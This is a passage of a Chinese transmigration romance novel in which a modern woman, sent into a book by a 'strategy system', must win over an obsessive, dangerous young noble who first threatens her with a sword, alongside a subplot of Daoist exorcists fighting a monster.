《攻略病娇世子从拯救开始》
1. 重逢
屋里燃着明烛,灯火葳蕤,映在人的脸上明明灭灭。
初春的季节,空气中尚残存着一丝凉意,此时的窗户大开,夜风卷着寒意从外面吹进,冷得靠墙坐在地上的柳凝雪皱了皱眉。
她身上穿着艳红的喜服,头上顶着重重的发冠,面前是脸色阴沉,宛若恶鬼的谢玄淮。
他手上的那把剑正抵在她皙白的脖颈上,面色不善地看着她。
柳凝雪紧张地咽了口口水,生怕下一秒这剑就划破她的脖子。
要说也是倒霉,那天晚上柳凝雪下班回到家中,按惯例,吃完饭洗完澡,她会在睡前去看一眼那枚玉佩。
此时正逢冬天,外面下起了飘飘白雪,她坐在桌前从抽屉里拿出一个木盒,将里面系统给的玉佩取出,她害怕自己忘记,所以时常会拿玉佩出来看。
“嘶!”柳凝雪倒抽了一口凉气,不小心被木盒上的木刺划破了手指,指尖凝出一滴血来,落到了玉佩上。
随即,玉佩就亮起一到光亮,
【攻略系统已启动,请宿主做好准备。】
光芒刺得柳凝雪闭上了眼睛,一睁眼便来到了一个古色古香的屋子里。
待她看清了眼前的情形后,心脏猛地跳了一下,闪着银光的剑抵在她喉咙处,身前蹲着一个同样穿着喜服,束着高马尾的少年,赫然是谢玄淮的样子。
他唇角扬起一抹笑,面庞温和,笑意却不达眼底,少年声音清冽带着一丝不易察觉的疯狂,“柳小姐,是你自己要嫁过来的。”
话落,系统的声音再次响起:
【富丽繁华,皇权架空,清醒与沉沦,欢迎宿主来到隋虞盛世】
【您所在的剧本是悬疑探案小说《如珩》】
【您的任务是攻略病娇男配谢玄淮,宿主,祝你好运。】
……
柳凝雪一点也不好,被人拿剑架在脖子上,随时都有一命呜呼的可能,这个系统向来没有人情味,一旦死了那么在原世界的痕迹也会被抹消殆尽。
想当初她保留系统操作就是期盼自己能够进到《白霜》里再见谢玄淮一面,但她根本没想过,也不想再从零开始,重新攻略谢玄淮啊。
更何况,现在的谢玄淮比以前更疯了,攻略计划再次开始,她只觉眼前人陌生之极。
似是不满她的走神,谢玄淮执着的银剑又逼进一分,在划破她的脖颈时,柳凝雪忙抬手按住他的手,道:“等等!或许我们可以聊聊。”
谢玄淮沉如深潭,黑如耀石的眸子一动不动地盯着她,恨不得在她脸上盯出个花来。
一想起方才她看他时多出的且毫不掩饰的失落及悲忧,谢玄淮心里就泛起一股无名怒意与不满。
他勾唇冷嗤一声,说道:“柳小姐,你以为你是谁。”
话是疑问,语气却很是肯定地表达,你谁也不是。
“我……”柳凝雪一时无言。
“我说过是你自己要嫁过来。”谢玄淮又冷漠幽幽地重复这句话,说:“既然选择嫁给了我,那便是我的人,既便是我现在杀了你,无论作何,你也不该,不能有任何怨言与不满,甚至于反抗。”
这是什么逆天发言?!
柳凝雪被他这一番病态言论给震惊到了,一颗心在砰砰乱跳个不停,仿佛下一秒就要破膛而出。
她呼吸逐渐加重,紧盯着已经陷进她脖颈的剑刃,心底一阵慌乱。
她不能死在这里,也不能死。
她脸色微微发白,颤抖着嘴唇开口,问他:“你为什么一定要杀我?”
直到如今,谢玄淮才终于看到她眼中露出丝丝缕缕的恐惧,这反而无限放大了他心中的愉悦与快意。
对,就是这样,害怕我,颤抖,恐惧,继而狼狈地匍匐在地向我求饶,有什么比看着濒死的猎物挣扎着求生更令人快乐的事情吗?
没有。
谢玄淮眉眼微垂看着她,现下他也不介意再对她废话一句,他语气轻淡,萦绕在她耳边,说:“没有为什么,因为你该死。”
他特意咬重了最后两字,柳凝雪心尖又是一颤,鼻尖有些许发酸,她忍下心中的那股浅淡的委屈,抬眸直面向谢玄淮。
只听谢玄淮又冷声道:“你费尽心思想要嫁给我,不惜毁掉自己的清白,这么想飞上高枝变凤凰,那我就让你一辈子都做凤凰。”
“放心,等你死后,我会以世子妃的礼数将你下葬,也不枉费你一番算计,这般好的待遇,你还是第一人呢。”
听完,柳凝雪语气微带嘲讽道:“哦,那我是不是还要感谢你的大恩大德?”
看到她眼中的冷然,谢玄淮不知为何顿了一下,柳凝雪作为柳家四小姐,虽然身份不高,但好歹有一对负责的父母,他们本打算将她许配给身份门第相差不大的李家长子,可不知为何她打死不愿。
不但拒了这门婚事,闹得两家都不好看,甚至在一场宴会上设计谢玄淮,让他碰到自己更衣洗沐的画面,紧着将事情闹大,逼着谢玄淮娶了她。
原本谢玄淮可以直接拒绝她,毕竟他向来不将上京的礼仪风俗甚至于王公贵族放在眼里,可不知为何,他却答应了。
一时间众人哗然,原主心里既庆幸又感到隐隐的不安。
柳凝雪知晓原主是个虚荣心极强的性子,为达目的不择手段,谢玄淮最是恨算计他的人了,也难怪他要杀了她。
柳凝雪一双眸眼清泠泠地看着他,谢玄淮眉目透着癫狂之意,勾唇在她耳边说道:“放心,我手速很快的,不会让你感到一丝一毫的痛意。”
说完,他手势一动,眼看着长剑就要划破她的动脉,柳凝雪心下一横,极快地念了一个水咒,随即一盆水从谢玄淮头顶上兜头泼下,浇了他一身,顿时整个人就像从水里捞出来一样。
水珠模糊了视线,谢玄淮用手抹了一把脸,眼中恨意迸发,他万没想到她竟然还藏了一手,敢如此戏弄他,死一百遍都不足为惜。
谢玄淮恨恨地看着她,“你……”
他简直是恨不得将眼前人生吞活剥了,
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看她的目光就像凌迟的刀,“你还真是不怕死,现在我就成全你。”
望着眼前人越发仇恨的脸,柳凝雪不由地懵了一瞬,原著不是说谢玄淮对修道很是痴迷,一见到术法就挪不开眼吗?怎么事情发展成这样了?!
柳凝雪脸色白得像纸,方才她施水咒也是想展示一下自己会术法,希望他因此放过自己,但施水咒总得找个物体承受咒术,她总不能让自去承受吧?
所以,她才在谢玄淮身上施咒,但事情的发展远超她的想象,她貌似把事情给搞砸了!
谢玄淮的耐心早就被她的一盆水给消耗殆尽,他双手握剑,用力狠狠地往下一划,柳凝雪措不及防,身形霎时迅如雷电,闪扑到一边去。
可尽管如此,她的脖颈还是被划了一道不深不浅的口子,正向外汩汩地涌着血。
她忙抬手一按,捂住自己的脖颈,她就体虚,这一划失去的血又不知要补到什么时候才能补回来。
“躲?”谢玄淮眉梢轻挑,微讶于她的反应迅速,又带着浅浅的不悦。
他站起身来,提着剑居高临下地看着扑倒在地的柳凝雪,冰冷如雪的眸子倒映着此时她狼狈的模样。
没办法了,只能拼一把了。
柳凝雪想着,又取出一张黄符,念了一句咒语,黄符瞬间燃起一丛火焰,她紧接着手一松,符纸便直朝谢玄淮身上飞去,整个过程不过一秒。
符纸一触到谢玄淮的衣裳便不受控制的蔓延起来,从下往上,犹如干柴碰烈火,他随即一愣,忙拿过架子上的衣物将身上的火团扑灭,艳红的喜服被烫破了一个大洞,变得丑陋不堪。
谢玄淮的脸色一时变幻莫测,不掩震谔道:“你竟会术法?”
柳凝雪从地上坐起来,手依旧捂着脖子,目光清明地望着他,淡声道:“我二哥在司灵监当值,我会点术法有什么问题吗?”
谢玄淮看她的眼神一时变得有几分探究起来,他上下打量了她几眼,只是手中的剑仍未松开。
他忽的笑道:“很好,可惜,你会再多的术法也注定施展不了多少了。”
眼见着他提着剑又要上前,柳凝雪条件反射地往后缩去,紧忙道:“等一下等一下!我们做个交易怎么样?”
她虽说着,可谢玄淮却没有要停的意思的,柳凝雪又大声喊道:“我要是死了就没人能教你术法了!”
这已经是她最后的底牌了,谢玄淮要是再不动容,她估计要一命呜呼。
果然,谢玄淮闻声一顿,在她身前蹲了下来,柳凝雪抬眸看去,只见他一双冷沉的眸子盯着她不放,缓缓开口道:“你要教我术法?”
柳凝雪点了点头,按原著来看,谢玄淮虽对术法有着狂热的追求,但几次想要拜进道长门下,却无一愿意收他,京中多数为术法的人,要么他看不上,要么厌恶他,是以,这么多年来竟没有一个人肯教他术法。
自然也有很多术法记载在书上,不用其他人亲自转述,但他也不会去看,因为此举无异于纸上谈兵。
2. 攻略
谢玄淮犹豫了一瞬,方将长剑收回,一双眸子仍盯着她,道:“好啊,今夜我暂且饶过你,若是你再敢耍我,可不是一剑毙命这么简单了。”
话落,还未等柳凝雪松一口气,又听谢玄淮说道:“还有,收起你那些小把戏,别企图教我些简单易明的术法侥幸度日。”
凉飕飕的语气让柳凝雪心尖一颤,纵使自己的小心思被戳破了,她也能维持着镇定回他,道:“我是你的妻子,怎么会骗你呢?”
颈上的伤口还在隐隐发痛,流出鲜血已经染满了她纤长的五指,她对谢玄淮尚且有用,是以,谢玄淮让府上的医师过来给她包扎。
医师是位年迈的老者,名唤陈庸,在府上待了三十几年,谢玄淮也不过才十七,可以说是看着他长大的。
想要攻略谢玄淮,就要知根知底,对症下药,欲要了解往事,这位老医师就是最好的打听对象。
屋里现在只有她和一个丫鬟及陈庸,在陈庸给她上药包扎时,柳凝雪低声说道:“看医师年纪,想必是在府上待了很久了。”
陈庸面容慈和,闻言回道:“回世子妃,我在府上待了近三十五年了。”
柳凝雪状似了然地点了点头,又道:“那陈医师是不是对府上的事情很了解?”
她边说边观察着陈庸的神色,陈庸的手稍微一顿,柳凝雪忙又说道:“陈医师还望凉解,我刚来府上也不久,对府中的一切都不是很清楚,毕竟我的后半辈子都要在这里度过,所以就想对自身的处境多了解一些。”
说话间,陈庸给她包扎完毕退至一旁,躬身对她道:“我自至以来便一直专心研读医理,府中多数变闻一概不知,世子妃想要了解府中事宜,不如亲自去和世子详聊。”
柳凝雪端详着他的神情,态度和缓有礼,不似说慌的样子,只好作罢,道:“我知道了,多谢陈医师。”
陈庸又朝她行了一礼,随即退下,柳凝雪沉默一阵,细细回想着原著剧情。
原著是她很早之前就看过的,说的是术法高深的男女主联手破上京数桩疑案,最后纠出主使就地正法的故事。
其中书里掺杂了许多异闻鬼怪等元素,涉及术法,道行,修炼……虽与《白霜》背景不同,设定却相差不大。
据她所了解,谢玄淮年幼父母双亡,圣上怜他孤身一人,对他多有照顾,是以,既使他多年未世袭爵位,仍保持着世子的身份,圣上也不曾说他一句不好。
他虽身为世子,但到底太过年幼,自五岁起,府中一切都交由管家来打理,可这管家身心不正,将府里多数亲信替换成自己的人,到如今已掌握府内大部分权力。
也因此,王府在他的侵吞一步步走向衰败,在外人看来,这里金玉满堂,实则败絮其内。
除此以外,谢玄淮还常年处于刺杀的环境当中,原著对他这个男配的描写不多,只在一个案件中略有提及,而他也在这个案件中早早下了线。
皎好的容貌,强劲的实力,悲惨的身世,导致他下线之时一众读者唏嘘不已。
或许是他下线得太早,容貌气质光芒太盛的缘故,让一众人一度忘了他的真实面貌,他是个彻头彻尾的病娇疯批,心里扭曲阴暗至极。
柳凝雪趴在桌子上,思考着日后的打算,本该在今晚死的她却活了下来,活下来是好,怎么活下去事大。
谢玄淮自幼聪慧过人,简单的术法是逃不过他的眼睛后,可复杂的术法柳凝雪又不怎么会。
柳凝雪惆怅地摸了摸心口,蓦地发现怀里有什么东西硌着她的手,她疑惑了一阵,将手伸进衣裳取出一枚玉佩。
这玉佩就是她在现代放盒子收起来的,攻略任务也是因它而触发的,柳凝雪没想到它竟也随自己来到了这里。
正在她打量着这枚玉佩有何用处时,它突然亮起了一丝微弱的绿光,柳凝雪不免凑近了看,不料玉佩光芒越闪越大,不待柳凝雪再靠近,就咚地一却砸在她的额头上,让她瞬间失去意识趴倒在桌。
玉佩里的空间闪着与方才同样的绿光,柳凝雪额头被砸得不轻,失去意识的那一瞬间,她就被丢进了这里,空间里人影绰绰,柳凝雪揉着额头站起来,打量着眼前宛如走马灯的画面。
她定盯一看,便瞧出那是谢玄淮的身影,画面里的谢玄淮衣袖翻飞,身姿玉立,眉眼自含一股傲然冷淡之气,那一双清明的眸子仿若幽潭,沉静无声。
每闪过的一个画面中,都是他掐诀施咒的动作,这枚玉佩本是谢玄淮随身携带的,自然也记录了他的一言一行,只是绝大多数都是和术法有关。
他将他所有学过的术法都储存进了玉佩里面。
柳凝雪暗暗诧异,没想到这玉佩还有这等功能。
正好她愁着怎么教他术法呢,把这些学会了搬出去教他,总该不会再对我有什么不满了。
柳凝雪想着,席地坐下来,挑了个看着易学会且不敷衍的术法开始学了起来,这一看也不知道看了多久,直到耳边断断续续传来侍女的呼喊声。
“世子妃?世子妃?”
侍女神态略显着急,她今早本打算进门伺候柳凝雪梳洗的,没想到一进门就见柳凝雪趴在桌子上睡着了。
这趴了一夜也不知道有没有着凉,想着,她忙走进屋里去将她摇醒了。
柳凝雪半梦半醒间被人摇醒,感觉很不好受,她揉了揉惺忪的眼睛,问道:“怎么了?发生什么事了吗?”
侍女眉尖蹙起,说道:“世子妃,你怎的不好好去床上睡着,非要趴在桌子上睡?”
柳凝雪张了张嘴,正欲说什么,却想起玉佩的事还不能外传,忙又改了口,道:“……我太困了,一不小心就睡着了,现在天色还早,我再去睡会儿,世子若是问起来,你就如实回禀。”
说完,柳凝雪也不顾侍女的劝阻,来到床上躺下,被子一盖又沉沉睡了过去。
侍女在一旁急得无措,方才来的时候谢玄淮就吩咐了要将柳凝雪带到,可转眼柳凝雪就又睡下了,她又该怎么回禀?
如实回禀就如实回禀吧。
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侍女想了片刻还是退了下去。
“你说世子妃趴在桌子上睡了一夜?”谢玄淮的面色肉眼可见的冷了下来,他从箭篓里取出一支箭搭在弓上,随即将弓拉满,只听咻地一声响,箭势破风,一声鸣响过后,紧紧盯在了远处的箭靶上,正中红心。
侍女匍匐在地,头上迟迟未传来谢玄淮的吩咐,她的身体也随着时间的延长而微微发起抖来。
“去,将她唤醒,带来训练场。”
在侍女跪得腿发麻的时候,头顶终于传来谢玄淮语气冷淡的吩咐。
“是。”侍女未敢有怠慢,忙忍痛起身离开。
柳凝雪休息不过片刻又被人从被窝里叫醒了,这次是那位侍女跪在地上,用带着哭腔的声音求她起床的。
“世子妃,你快醒醒吧,别睡了,不然一会儿世子就要打罚奴婢了。”
柳凝雪这才挣扎着起身,她竟不知谢玄淮已经可怕到这种地步了,折磨一个小小的侍女算什么意思?
柳凝雪对她道:“你起来吧,我这就过去。”
侍女闻言松了一口气,说:“奴婢服侍世子妃更衣。”
古人衣服繁复,是以,柳凝雪没有拒绝她帮自己更衣。
换衣服时,柳凝雪问她:“你叫什么名字?”
侍女乖巧地应道:“奴婢名叫若婵。”
“若婵?”柳凝雪默默在心里记下这个名字。
“你进府几年了?”她又问。
原著对谢玄淮的描写还是过少了,他的喜好习惯,她一贯不知,以前倒是了解过,但她不确定现在的谢玄淮性格是否还和之前的一样。
若婵回道:“三年了。”
柳凝雪问:“那你对府上的事情了解多少?”
若婵想了想,道:“知之甚少。”
“奴婢也是最近才被调到世子妃跟前服侍的,之前一直在祠堂做着洒扫的活。”
柳凝雪一听便明了,合着谢玄淮是随意调了个洒扫丫鬟给她啊?对于谢玄淮此举,她真是又气又笑。
柳凝雪道:“那把你知道的都说给我听吧,我刚来王府不久,对这里也不熟悉,还得拜托你了。”
若婵听完,连道不敢,说:“世子妃说笑了,奴婢不常跟在世子身边,府中一切也还算安好,其余的奴婢就不知道了。”
柳凝雪点了点头,道:“好,我明白了。”
说话间,两人已行至训练场,王府占地极大,单训练场就能容纳下几千人了。
柳凝雪刚一踏进场地,就听一道破风之声擦着自己的肩而过,利箭擦着她过时震起一阵风,明锐的尖端将扬起的青丝割断了几缕落在她肩头。
伴随着利箭而来的是谢玄淮冷淡疏离的嗓音,道:“抱歉,箭射偏了,伤着你了吗?”
这话在柳凝雪听来,就好像在惋惜没有伤到她,如此想着,她脖颈处的伤口又隐隐发痛起来。
柳凝雪抬起一双清冽如山间之泉的眸子望着他,淡声道:“没有,世子多虑了。”
3. 洞房
身后的若婵可是结结实实被这一箭吓了一跳,她脸色发白,嘴巴张大,在触及谢玄淮冰冷的视线时,又硬生生将喉头即将决堤的叫喊咽了回去。
柳凝雪心里吓得不轻,但面上还是勉力维持着镇定,朝他扬起微微一笑。
谢玄淮凝眸看了看她,明知故问道:“世子妃昨夜睡得可好?”
提到睡觉,柳凝雪就气得牙痒痒的,回他:“托世子的福,睡得很不错。”
谢玄淮忽视她话里嘲讽的语气,将弓递给一旁的小厮,对她说:“既然来了,那就开始吧。”
“行。”柳凝雪此刻满是信心,昨晚临时抱了下佛脚,将术法的具体施咒步骤记了下来,只要将记住的步骤全部转达给他,就算是他最后使不出来,她也能说是他学艺不精的缘故,再让他去练个几天,自己也能落得个清闲。
打定了主意,柳凝雪快步上前,走到谢玄淮身旁,从衣袖里拿出一张符纸,对他说:“看好了,我只教一次。”
谢玄淮冷淡的眸子静静地望着她,好像在看她到底要耍什么花样。
柳凝雪两指夹着符纸,正在她想要照搬施咒步骤时,脑袋忽的一片空白,脑到用时方恨没,距离她高考完已经好几年了,现在的脑子远不如之前的灵光。
柳凝雪呆滞了一瞬,谢玄淮见她久久维持着一个动作不动,眉头有些不满地皱起,唤了声,“世子妃?”
柳凝雪被唤得回过神来,见他不耐烦的神色,她轻咳了几声,道:“那个,我既然教你术法,那么你就要拜我为师才行,拜师成功了,我再教你,怎么样?”
她看向他的目光亮盈盈的,带着几分恳求,明媚如她,仿若春光融融,瞧得人心里一暖,或许是昨晚他也没睡好的原因,脑子有点晕,鬼使神差地就答应了她。
“好。”
话落,柳凝雪就命人准备好要准备的东西,说道:“在我们那边呢,拜师首先要手执三根香朝天拜三拜……”
谢玄淮看了她一眼,忍着耐心点燃三根香朝天拜了三拜。
“然后……再向我下跪磕三个头……”
听完,谢玄淮将三支香狠狠插.进案上的香炉里,唇边勾起一抹冷笑,幽幽道:“柳小姐?你玩够了没有?”
身旁的仆人也是脸色一变,目光纷纷扫过柳凝雪,世子妃如此大胆,竟然敢让世子下跪。
谢玄淮道:“你要是再敢耍我,我现在就把你杀了。”
柳凝雪肯定不想死的,忙说道:“别别别!我现在就教,现在就教……”
仆人上前将香案撤下去,柳凝雪站到那片空地上,两指重新夹起黄符,背对着谢玄淮,企图以此来将自己记不全的步骤糊弄过去。
“我要开始了。”柳凝雪郑重道,然而她身后一片寂静,这令她不禁侧眸去看,只一下她又收回了视线。
柳凝雪吐出一口气,双眸闭起,回忆着昨晚看的步骤,紧接着,她手指迅速翻转,黄符在她指尖旋转跃动,最后在一瞬间定格。
几秒过后,前面还是一片沉寂,毫无异动发生,黄符也还是那张黄符。
柳凝雪不免疑惑,明明她是按原来的步骤做的,没多也没漏,为什么就使不出来呢?
她眉头微微蹙起,不敢多做停顿,回过身来,对谢玄淮说道:“步骤大概就是这样了,你自己试一下吧。”
一旁的仆人们面面相觑,施完咒了,咋一点事都没有?
也得亏柳凝雪脸皮厚,在众人探究和怀疑的目光下,依旧能镇定自若地说出一番话。
谢玄淮凝眸看了她几眼,接着自己也从矮桌上取了一张和柳凝雪手上相同的符纸,一一复原她的施咒步骤,在最后一刻,符纸忽然亮黄光如利剑般飞了出去,触碰到柳凝雪身后箭靶时。
谢玄淮沉声念:“火雷,破!”
箭靶随声应变,炸得四分五裂。
柳凝雪离箭靶最近,炸开的声音震得她脑子发懵,耳朵发鸣。
要不说人比人气死人呢,明明是她教的,但谢玄淮明显比她优秀上百倍。
柳凝雪有些不自在地咽了口口水,说道:“世子果然聪慧至极,青出于蓝胜于蓝啊。”
谢玄淮浅淡一笑,笑意却不达眼底,道:“还得多谢师傅的不吝赐教才是。”
纵使柳凝雪脸皮再如何厚,被谢玄淮这么捧,耳根还是泛起了微红,她咬着牙回应,“是……”
——
天空乌云密布,上京已连日多雨,此刻明明时值中午,天色却已暗沉至极。
江荨一身白色便衣策马归京,神色急匆,身后跟着同样神情严肃的沈如珩,他们随风而扬的白衣被飞溅的泥水弄脏,行至城门时,两人一齐拽紧了缰绳,勒令马儿停下来。
沈如珩望着眼前紧闭的城门,道:“师妹,已至上京,先找间客栈休息一下吧。”
男人温润有礼不乏冰凉疏离的嗓音传至江荨耳中,她回道:“你先行休息,我直接回江府。”
她声音清冽,语气不容置疑,沈如珩听完未作多劝阻,道:“行。”
江荨随即翻身下马,上前几步敲了敲城门,城门应声而开,里面走出两位守兵,她便取下腰间的令牌递上。
领头的守兵见到江府的令牌,忙变恭敬起来,回头吩咐身后人,道:“放行。”
城门打开后,入眼的是一片荒凉,平日繁华的市集如今却人迹寥寥,江荨微不可察地皱起眉头。
守城的官兵上前见状,上前道:“江娘子,最近上京邪祟横乱,伤了不少人,再加上这种天气,邪气大增,很多百姓都不敢出门乱逛,陛下也命我们将城门关上,让司灵监布了阵,以免外面的邪祟乱入。”
江荨心中了然,她在荆州除完妖邪就收到了上京的急信,信中提到近日邪祟作乱一事,所以她才急急赶回了上京。
此时沈如珩已去察看司灵监在城门上布的阵了,江荨来到他身边,问:“有何异样?”
沈如珩蹙眉道:“门上阵法看似复杂高深,实则威力不大,只要邪祟稍微强一点都拦不住。”
闻言,江荨心底自有一股怒意升起,这关乎城中百姓安危的事,司灵监竟如此敷衍。
她观察了一眼阵法,不出片刻就找出漏洞,重新贴符,沈如珩辅助着她将阵法修补,直至阵法牢固。
完事后,江荨对守城门的兵卫道:“我会在这里挂一个风铃,若铃铛响动,就说明有邪祟靠近,此时无论外面是谁都不要放进城,并立刻烧符通知我。”
“若是外面的人非要进城,你们也不要轻易下去开城门,他们靠近城门时,门上的阵法自会启动,要是常人自不会被阵法伤到,若是邪祟就会化为灰尽。”
说完,江荨的目光又一一扫过在场的人,清明的视线带着强烈的压迫感,极具威严,“听明白了吗?”
她是道行高深,法力无边的灵虚道长的徒弟,年轻有为,术法在年轻一辈中无人能及,她的话自是无人敢质疑的。
守城的兵卫听完,忙一拱手,齐声道:“是。”
吩咐完事情,江荨就骑上马直奔江府,在荆州除邪祟时,身上的符纸道具都用得差不多了,她得回去多备着些才是。
天边乌云滚滚,大有风雨欲来之势,只听空中一道惊雷劈下,砰的一声急响。
屋里的瓷盏不小心被柳凝雪打碎,溅了一地的茶水,她“哎呀”一声,忙蹲下身去捡。
这时,若婵也从屋外走了进来,见状,忙上前蹲下也跟着捡瓷,道:“世子妃,这些让奴婢来做就行了。”
柳凝雪拗不过她,只好捡起的碎片放到托盘上,随后在榻上坐下。
她望了眼窗外后天色,问道:“是不是要下大雨了?这天气看着阴沉沉的。”
若婵回道:“是啊,不仅如此,最近的上京城邪祟作乱,都不太平,世子妃还是不要出门为好。”
柳凝雪点点头,她晓得最近上京城中发生的事,鉴于自己修炼不精
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,也不敢出门乱跑,就一直窝在家里。
只是最近也不知道谢玄淮在忙什么,自跟她学了几个术法后,就没再理会过她了。
他在修炼这一方面极具天赋,一学一个会,就算柳凝雪偶然打错了手法,他也能摸索着改过来,反观自己,记了这么久的公式和步骤,套进去写也能写错。
她很想问他是怎么使出来的,但又不敢,怕他嘲讽,到时候自己的面子碎了一地,怎么捡都捡不回来。
碰到这种阴沉下大雨的天色,柳凝雪就忍不住想睡觉,坐在榻上没一会儿便开始乏困了,连打了几个哈欠过后,她对若婵道:“好困啊,我要睡觉了,若婵你出去吧。”
柳凝雪睡觉时不喜欢有人看着,服侍了她十几天,若婵自然也是清楚的,捡完碎瓷便退下了。
夜色渐渐浓重,明月升空,屋外树影婆娑,大雨仍淅淅沥沥地下着,未有停下的迹象。
柳凝雪平整地躺在床上,沁汗的额头,紧蹙的眉眼,无一不彰显着她睡得并不安稳。
柳凝雪做了一个噩梦,在梦中,她梦到了谢玄淮,穿进《白霜》中攻略他时的画面如走马灯般一一闪过,每一个画面都清晰至极,他冷淡的眉眼,浅和的笑,出剑时的凌然……
到最后赴死的决然,她还梦到,她完成任务离开后,他是如何成为一个废人在世上苟且偷生,深山处的屋子满是没有五官的画像,但勾勒出的每一笔处处泛着她的气息。
他坐在檐下刻木头人,刻到十指出血,却仍刻不出她的眉眼,他逐渐开始慌乱,手上的伤痕像他近乎病态的自残……
“谢玄淮……”她轻轻呢喃了一声,却没有人回应她,她像是掉进了无尽的深渊,拼命地叫喊,却没有一个人听到或是在意。
意识到自己的叫喊无用,也什么都做不了,她脸上逐渐滑过两行清泪,忽有冰凉的物什落在她面容上,轻拭去她眼角余泪。
她不是害怕,她是在伤心,而且是伤心欲绝,痛不欲生。
明明她梦里念着的是他的名字,谢玄淮却还是奇异,他与她从未见过,何至于让她伤心到这个地步。
自然也不排除世上有和他同名同姓之人。
指尖触及她温热的泪那一刻,他猛地蜷曲起手指,这是一种很奇怪的触感。
“你到底在喊谁?” 他眉眼淡淡的,凝望着她,心中忽然起了一个疯狂的念头,试图钻进她的脑海里一探究竟。
屋外雷声阵阵,照进昏暗黑沉的屋里,映在床边坐着的谢玄淮脸上,一半隐在黑暗,一半明明灭灭。
柳凝雪猛地从梦中惊醒过来,睁眼便是谢玄淮形如鬼魅的脸,一双眸子深不见底,似暴雨中表面平静实则暗流急涌的海。
“世子妃?你醒了。”他唇边扬起淡淡的笑意,这一笑让柳凝雪头皮发麻,脊背发寒。
她一个弹跳坐起,猛地往里边缩去,幸好床够大,不至于让她无处可躲。
柳凝雪能感觉到自己的声线很颤抖着说:“你……你来这里做什么?”
按以往,谢玄淮没事是不会来这里的,就算是有事也是让人给她传话让她过去,打死都不会踏进这里一步。
谢玄淮:“我们今晚洞房吧。”
他用极致平淡的语气说出的话在柳凝雪耳边炸起一道惊雷,脑袋瞬间空白,思绪混乱再也听不进任何声音,目光惊愕直直地看他。
谢玄淮还是一如既往地冷淡平静道:“算来我们成亲也有些时日,难道不该洞房了吗?不然传出去岂不是丢了我敬王府的脸面?”
好几天不见人影,一见面就直接提要和她洞房的事,柳凝雪知道他来找他准没好事,但显然心理准备还是做少了。
事出反常必有妖。
柳凝雪警惕地打量了他几眼,疯子的心思向来是不能按正常人的思维来思考的。
“我……”柳凝雪顿了一下,思量着拒绝的话语,她不太能接受在毫无感情的基础下行夫妻之实。
4. 情意
“怎么?你不愿意?”他开口问道。
柳凝雪当然不愿意,不解地问:“怎么这么突然?”
“突然?”谢玄淮不可置信地挑了挑眉,道:“难道行房事还要请钦天监定个好日子?”
柳凝雪被他说得脸色一窘,道:“不是……我不是这个意思……”
“就是……”她一双水眸转了一圈,斟酌着说辞,道:“这屋里是不是太暗了些?圆房总要点几根红烛照一下吧?这里没有红烛。”
谢玄淮却道:“何须红烛?就算是在夜里,我也心如明镜,清晰得很。”
说这话时,他的语气是冷淡自然的,可柳凝雪却听得感觉有些不对劲,莫名得多了几分旖旎之感,她又琢磨不透谢玄淮话里的意思。
她这般推来推去,倒让谢玄淮有些不耐烦起来,他倾身往前紧盯着她的面容,说:“世子妃推来推去,迟迟不肯松口,莫非是嫌我不够好?还是说……世子妃心之所属,另有他人?”
如果说柳凝雪此前还算淡定,在听到最后一句话时,她心跳漏了半拍,脸上明显一怔。
谢玄淮将她的神色变化尽收眼底,心下冷笑,无端泛起一股无名火,都嫁给了他,心里却还想着别的男人,三心二意,真是令人恶心至极。
“……非也。”柳凝雪很快就掩去了脸上那一瞬的慌乱,道:“我从未心属过他人,世子多虑了。”
谢玄淮听着,站起身来,修长的十指搭在自己的腰带上,垂眸看着她,说:“既如此,我们是夫妻,行夫妻之实,又有什么不可的?”
他边说边解开自己的腰带,动作不紧不慢,冷静的眸子观察着她脸上的变化。
柳凝雪见他真要和自己圆房,面上的镇定自若也维持不住了,忙抬起双手捂住自己的脸,喊道:“我们……我们一点感情基础都没有,彼此都不相爱,我……反正我受不了,世子请回吧!若是世子当真想同我圆房,不如先将感情培养起来。”
“这种事急不得,要细水长流。”
谢玄淮闻言,手中的动作一顿,只见过一面就成亲的人,他看过太多,他们大多是为了彼此的利益考虑,在他们眼里,就是利益至上。
但如柳凝雪这般的呢?她当初为了嫁给自己不择手段,如今嫁给他了,却装出这一幅忸怩姿态是什么意思?欲拒还迎?还是欲擒故纵?
谢玄淮上下打量了她几眼,心里想道,也罢,总归是她自己不愿意的,也怪不了他。
想完,谢玄淮便转身离去。
柳凝雪还在原地絮絮叨叨着,“不行啊,你今年才十七,太小了,真的不行……”
然而却迟迟没有听到谢玄淮的回应,她一挪开手睁开眼,面前空荡荡的一片,哪里还有什么谢玄淮的身影。
她不禁松了一口气,人总算是走了。
被谢玄淮这么一折腾,睡意也全无了,柳凝雪干脆拿出玉佩学习新术法。
玉佩被她从枕头底下摸出来,上面还闪着碧莹莹的光泽,柳凝雪将玉佩贴在自己的额头上,不过一瞬,她便倒在了床上。
再次来到空间里,柳凝雪认真看着飘浮的画面,复杂一点的谢玄淮都已经学会了,是时候教他一些更加难懂的了。
最后,柳凝雪选定了一个既复杂威力又大的术法,她坐下来认真地钻研着。
——
城外街道两边的商铺上挂着燃了明火的灯笼,此时也不过戌时,街上却已空空,只剩灯火摇曳。
就在这时,寂静的街道上突然炸起一个雷声,震得近十里的灯笼也跟着摇晃起来。
紧随而来的,是妖物不男不女的震耳欲聋的叫喊声,江荨手中掐着诀,两指并拢置于身前,被灵力运起的黄符围绕着她在空中飘飞。
她一双锐利的眼眸紧盯着眼前足有两丈高的怪物,它通身都是由不同程度扭曲的人脸堆叠而成,看着可怖至极。
它的头部被江荨用符纸炸出了一个窟窿,此时正源源不断地往外涌着黑色发臭的液体,这怪物也不知道从哪个部位发出的叫喊声,它一喊,全身的人脸也跟着尖叫起来,极为刺耳。
江荨运起符纸挡在自己的身前才屏散那些刺耳的尖叫。
“江师妹!接着!”
混乱中,身后传来沈如珩急促的喊声,江荨回头看去,正见他执着一把剑向自己丢来。
江荨忙撤开符纸,一个飞身跃起接住了那把剑,落到沈如珩身旁。
“如何了?”沈如珩问道。
江荨时刻警惕着,道:“人脸怪的实力不差,想要降服它需要一番力气。”
沈如珩听着眉头微微皱起,今夜江荨本是受邀前往定国公府参宴的,宴会进行到一半,这只怪物突然跳出来扰乱了宴会,还伤了好几个人。
江荨一见人脸怪就烧符传信给他,传完信便立刻追着人脸怪一直缠打到街道上,所幸现在街上无人,否则不知又要死伤多少。
江荨冷静的语气传至耳边,道:“师兄,你我配合着降服它,人脸怪诡计多端,务必小心。”
